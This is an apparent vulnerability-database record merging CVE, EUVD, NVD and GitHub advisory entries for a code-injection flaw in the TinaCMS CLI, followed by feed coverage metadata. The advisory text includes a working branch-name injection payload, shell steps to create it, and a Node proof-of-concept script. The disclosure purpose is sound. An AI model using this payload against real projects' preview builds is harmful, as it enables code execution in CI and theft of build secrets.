{"id":"GHSA-pwhx-cvv3-qj5c","revision":null,"records":[{"revision":"a9a7488ca0de463aa35ee5d851da7618","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-108259","aliases":[],"title":"Tina: Code injection via unescaped Git branch name in generated client source","description":"Tina is a headless content management system. Prior to 3.0.0, @tinacms/cli reads Git branch values from VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH, or HEAD, incorporates the raw value into the API URL, and interpolates that URL into JavaScript string literals in packages/@tinacms/cli/src/next/codegen/index.ts and packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts. A crafted Git-valid branch name containing a quote can terminate the generated string and inject an expression that executes when the generated client module is imported during a preview build. The injected code runs with the build process privileges and can read environment credentials, modify deployment artifacts, or make network requests. This issue is fixed in version 3.0.0.","state":0,"publishedAt":"2026-10-09T20:36:41.777+00:00","modifiedAt":"2026-10-14T02:12:59.336+00:00","affected":[{"ecosystem":"Vendor product","name":"tinacms","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"tinacms\",\n                    \"product\": \"tinacms\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.0.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"},{"ecosystem":"Vendor product","name":"cli","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"@tinacms\",\n                    \"product\": \"cli\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.0.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","score":8.2,"severity":"HIGH"}],"references":["https://github.com/tinacms/tinacms/security/advisories/GHSA-pwhx-cvv3-qj5c","https://github.com/tinacms/tinacms/pull/7526","https://github.com/tinacms/tinacms/commit/d030d414d39e15de79bf36e4c728d57205e71dde","https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@3.0.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-108259","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-108259","identifiers":["CVE-2026-108259"]},"retained":false,"historicalAffected":[]},{"revision":"1574f1928e7a4aa79d1631b073bac3e0","observedAt":"2026-11-09T05:08:44.637+00:00","statement":{"source":"euvd","id":"EUVD-2026-95987","aliases":["CVE-2026-108259","GHSA-pwhx-cvv3-qj5c"],"title":"Tina is a headless content management system. Prior to 3.0.0, @tinacms/cli reads Git branch values from VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH, or HEAD, incorporates the raw value into the API URL, and interpolates that URL into JavaScript st…","description":"Tina is a headless content management system. Prior to 3.0.0, @tinacms/cli reads Git branch values from VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH, or HEAD, incorporates the raw value into the API URL, and interpolates that URL into JavaScript string literals in packages/@tinacms/cli/src/next/codegen/index.ts and packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts. A crafted Git-valid branch name containing a quote can terminate the generated string and inject an expression that executes when the generated client module is imported during a preview build. The injected code runs with the build process privileges and can read environment credentials, modify deployment artifacts, or make network requests. This issue is fixed in version 3.0.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","score":8.2,"severity":null}],"references":["https://github.com/tinacms/tinacms/security/advisories/GHSA-pwhx-cvv3-qj5c","https://github.com/tinacms/tinacms/pull/7526","https://github.com/tinacms/tinacms/commit/d030d414d39e15de79bf36e4c728d57205e71dde","https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@3.0.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-95987","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 9, 2026, 8:36:41 PM","dateUpdated":"Oct 14, 2026, 2:12:59 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-95987","identifiers":["EUVD-2026-95987","CVE-2026-108259","GHSA-pwhx-cvv3-qj5c"]},"retained":false,"historicalAffected":[]},{"revision":"fd4489fc79a04ab98bdb3e03f654d752","observedAt":"2026-10-25T05:17:13.11+00:00","statement":{"source":"nvd","id":"CVE-2026-108259","aliases":[],"title":"Tina is a headless content management system. Prior to 3.0.0, @tinacms/cli reads Git branch values from VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH, or HEAD, incorporates the raw value into the API URL, and interpolates that URL into JavaScript st…","description":"Tina is a headless content management system. Prior to 3.0.0, @tinacms/cli reads Git branch values from VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH, or HEAD, incorporates the raw value into the API URL, and interpolates that URL into JavaScript string literals in packages/@tinacms/cli/src/next/codegen/index.ts and packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts. A crafted Git-valid branch name containing a quote can terminate the generated string and inject an expression that executes when the generated client module is imported during a preview build. The injected code runs with the build process privileges and can read environment credentials, modify deployment artifacts, or make network requests. This issue is fixed in version 3.0.0.","state":0,"publishedAt":"2026-10-09T21:17:04.017+00:00","modifiedAt":"2026-10-16T20:04:29.76+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","score":8.2,"severity":"HIGH"}],"references":["https://github.com/tinacms/tinacms/commit/d030d414d39e15de79bf36e4c728d57205e71dde","https://github.com/tinacms/tinacms/pull/7526","https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@3.0.0","https://github.com/tinacms/tinacms/security/advisories/GHSA-pwhx-cvv3-qj5c"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108259","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-94"],"productCriteria":[],"sourceDates":{"published":"2026-10-09T21:17:04.017","lastModified":"2026-10-16T20:04:29.760"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-108259","identifiers":["CVE-2026-108259"]},"retained":false,"historicalAffected":[]},{"revision":"146b679ae8104e9489d9b8b3cf90332a","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-pwhx-cvv3-qj5c","aliases":["CVE-2026-108259"],"title":"Tina: Code injection via unescaped Git branch name in generated client source","description":"### Summary\n\n`@tinacms/cli` inserts the raw Git branch value into the generated `client.ts` source without escaping or encoding. A Git-valid branch name can close the string literal and inject an arbitrary JavaScript expression that executes when the consumer build imports the generated client module.\n\n### Affected component\n\n- **Source (branch read):** `packages/@tinacms/cli/src/cmds/init/templates/config.ts` lines 155–172 — reads `VERCEL_GIT_COMMIT_REF`, `GITHUB_BRANCH`, or `HEAD` into `config.branch`\n- **Transform (URL build):** `packages/@tinacms/cli/src/next/codegen/index.ts` lines 219–253 — `_createApiUrl()` concatenates the raw branch into the API URL with no `encodeURIComponent`\n- **Sink (template):** `packages/@tinacms/cli/src/next/codegen/index.ts` lines 363–381 — `genClient()` interpolates the URL into `url: '${apiURL}'`\n- **Sibling sink:** `packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts` line 55 — `url: \"${apiURL}\"` (same pattern, double quotes)\n\n### Root cause\n\nThe codegen template at `index.ts:376` uses:\n\n```ts\nurl: '${apiURL}'\n```\n\nwhere `apiURL` contains the raw branch name. No `JSON.stringify`, `encodeURIComponent`, or string-escape function is applied at any point in the pipeline. A single quote in the branch name closes the string literal and allows expression injection.\n\n### Payload\n\nThe following is a valid Git branch name (`git check-ref-format` accepts it):\n\n```\nx'+(globalThis.__TINA_PROBE='hit')+'\n```\n\n### Generated source (sink)\n\nWhen codegen runs with this branch, the generated `client.ts` contains:\n\n```ts\nexport const client = createClient({\n  url: 'https://content.tinajs.io/2.4/content/<clientId>/github/x'+(globalThis.__TINA_PROBE='hit')+'',\n  token: '<token>',\n  queries,\n});\n```\n\nThe `'` in the branch name closes the URL string. `+(globalThis.__TINA_PROBE='hit')+` is parsed as a JavaScript expression. The trailing `+'` reopens a string to keep the syntax valid.\n\n### Steps to reproduce\n\n**Prerequisites:** Node.js, Git, npm\n\n```bash\nmkdir /tmp/tinacms-repro && cd /tmp/tinacms-repro\ngit init && git commit --allow-empty -m \"init\"\ngit branch \"x'+(globalThis.__TINA_PROBE='hit')+'\"\nnpm init -y && npm install esbuild\n```\n\nCreate `repro.mjs`:\n\n```js\nimport { transform } from 'esbuild';\nimport vm from 'vm';\n\n// Simulate VERCEL_GIT_COMMIT_REF containing the malicious branch\nconst branch = \"x'+(globalThis.__TINA_PROBE='hit')+'\";\n\n// _createApiUrl() logic from index.ts:252\nconst apiURL = `https://content.tinajs.io/2.4/content/my-client/github/${branch}`;\n\n// genClient() template from index.ts:376\nconst generated = `\nimport { createClient } from \"tinacms/dist/client\";\nexport const client = createClient({ url: '${apiURL}', token: 'xxx' });\n`;\n\nconsole.log(\"Generated source:\\n\", generated);\n\n// Compile (same as consumer build)\nconst compiled = await transform(generated, { loader: 'ts', format: 'cjs' });\n\n// Execute in sandboxed VM\nconst sandbox = {\n  globalThis: {},\n  module: { exports: {} },\n  exports: {},\n  require: () => ({ createClient: (o) => o }),\n};\nvm.createContext(sandbox);\nvm.runInContext(compiled.code, sandbox);\n\nconsole.log(\"__TINA_PROBE =\", sandbox.globalThis.__TINA_PROBE);\n// Output: __TINA_PROBE = hit\n```\n\nRun: `node repro.mjs`\n\n**Result:** `globalThis.__TINA_PROBE` is set to `'hit'`, confirming the injected expression executed during module evaluation.\n\n**Negative control:** Repeating with `branch = \"feature/safe-branch\"` does not trigger injection.\n\n### Impact\n\nThe injected expression executes with the full privileges of the consumer build process. In a typical Vercel or GitHub Actions preview deployment:\n\n- **Build environment variables** are accessible (`process.env`), which may include `NPM_TOKEN`, `VERCEL_TOKEN`, cloud provider secrets, and API keys\n- **Build artifacts** can be modified, enabling supply-chain compromise of the deployed output\n- **Network access** is available to exfiltrate data\n\n**Attack scenario:** An attacker opens a pull request to any open-source project that uses TinaCMS with preview deployments enabled (Vercel auto-deploys every PR branch). The attacker's branch name contains the payload. The preview build runs Tina codegen, generates the injected `client.ts`, and the attacker's code executes during the build.\n\n**Preconditions:**\n1. Attacker can create a branch or PR that triggers a consumer build\n2. Consumer uses TinaCMS with the scaffolded branch config (reading from `VERCEL_GIT_COMMIT_REF` or equivalent)\n3. Tina SDK codegen is enabled (default)\n\n### Severity rationale\n\n**High** — build-time arbitrary code execution via a controlled Git ref. Critical was not claimed because no real secret exfiltration or release artifact tampering was demonstrated in this proof; only a benign marker was used.\n\n### Suggested fix\n\n1. Use `JSON.stringify(value)` to safely serialize any runtime value interpolated into generated source templates\n2. Apply `encodeURIComponent()` to the branch value before constructing the API URL path segment\n3. Apply the same treatment to `apiURL`, `token`, `errorPolicy`, `cacheDir`, and the sibling `AddGeneratedClientFunc` template in `plugin.ts`\n4. Consider moving runtime values out of source templates entirely — pass them through a JSON config file that the generated client reads at runtime\n\n### Related advisory\n\n[GHSA-4936-9hrh-qqpw](https://github.com/advisories/GHSA-4936-9hrh-qqpw) — TinaCMS Forestry migration generated-source RCE. Different source (Forestry YAML labels), different parser (`__TINA_INTERNAL__` unquoting helper), and different sink (`tina/templates.ts`). This report is not a duplicate.","state":0,"publishedAt":"2026-10-09T20:56:52+00:00","modifiedAt":"2026-10-09T21:15:04.8590575+00:00","affected":[{"ecosystem":"npm","name":"@tinacms/cli","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.0.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/tinacms/tinacms/security/advisories/GHSA-pwhx-cvv3-qj5c","https://github.com/tinacms/tinacms/pull/7526","https://github.com/tinacms/tinacms/commit/d030d414d39e15de79bf36e4c728d57205e71dde","https://github.com/tinacms/tinacms","https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@3.0.0"],"sourceUrl":"https://github.com/advisories/GHSA-pwhx-cvv3-qj5c","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-pwhx-cvv3-qj5c","identifiers":["GHSA-pwhx-cvv3-qj5c","CVE-2026-108259"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-09T08:02:26.2193293+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-09T08:02:26.2193293+00:00","lastSuccessAt":"2026-11-09T08:02:26.3903284+00:00","error":null,"lastVerifiedAt":"2026-11-09T08:02:26.3903314+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-24e6fde7b744113daefb8f6135035fb8a5c69c9617c9c0d40574a0376532ffd3-bac7baae6881807b2b4a9dce5cf5dd63af98be3e5c79f031b11fd288ebb8cee0","complete":true,"records":421301,"lastAttemptAt":"2026-11-09T08:02:25.6827821+00:00","lastSuccessAt":"2026-11-09T07:02:22.9878009+00:00","error":"HttpRequestException","lastVerifiedAt":"2026-11-09T07:02:23.0094052+00:00","snapshotPublishedAt":"2026-11-09T06:27:21+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-fa1f1abc4289427c9741a5ace69a7cbe","complete":false,"records":13654,"lastAttemptAt":"2026-11-09T08:08:00.0343846+00:00","lastSuccessAt":"2026-11-09T08:08:00.125661+00:00","error":null,"lastVerifiedAt":"2026-11-09T08:08:00.125661+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-09T08:02:26.2193293+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-09T08:02:26.2193293+00:00","lastSuccessAt":"2026-11-09T08:02:26.3910394+00:00","error":null,"lastVerifiedAt":"2026-11-09T08:02:26.3910397+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-156d67f0b09643159ff4bd684ee896db","complete":true,"records":13666,"lastAttemptAt":"2026-11-09T08:02:26.9587387+00:00","lastSuccessAt":"2026-11-09T07:04:26.209+00:00","error":null,"lastVerifiedAt":"2026-11-09T07:04:26.209+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13706,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-980593e6977a6d1b4fb1eed5a1ffe88a468736f89f0a06f710924ad59132c023","complete":true,"records":9914,"lastAttemptAt":"2026-11-09T08:02:26.1458433+00:00","lastSuccessAt":"2026-11-08T11:07:07.068788+00:00","error":null,"lastVerifiedAt":"2026-11-09T08:02:26.1458433+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-09T08:02:25.8338551+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-09T08:02:25.8338551+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f6d341f4320a5a0c059c28102ee651c3dd06abc87b84d2bafa4e2a823ec07d35","complete":true,"records":3056,"lastAttemptAt":"2026-11-09T08:02:26.1741996+00:00","lastSuccessAt":"2026-11-09T05:02:23.1539412+00:00","error":null,"lastVerifiedAt":"2026-11-09T08:02:26.1741996+00:00","snapshotPublishedAt":"2026-11-09T04:47:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-32fcf2a839d0d91a36b31c98096d6b8a1a8cc523d64745f8a939e306130e49f2","complete":true,"records":231296,"lastAttemptAt":"2026-11-09T08:02:25.9613255+00:00","lastSuccessAt":"2026-11-09T07:04:23.2641171+00:00","error":null,"lastVerifiedAt":"2026-11-09T08:02:25.9613255+00:00","snapshotPublishedAt":"2026-11-09T06:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}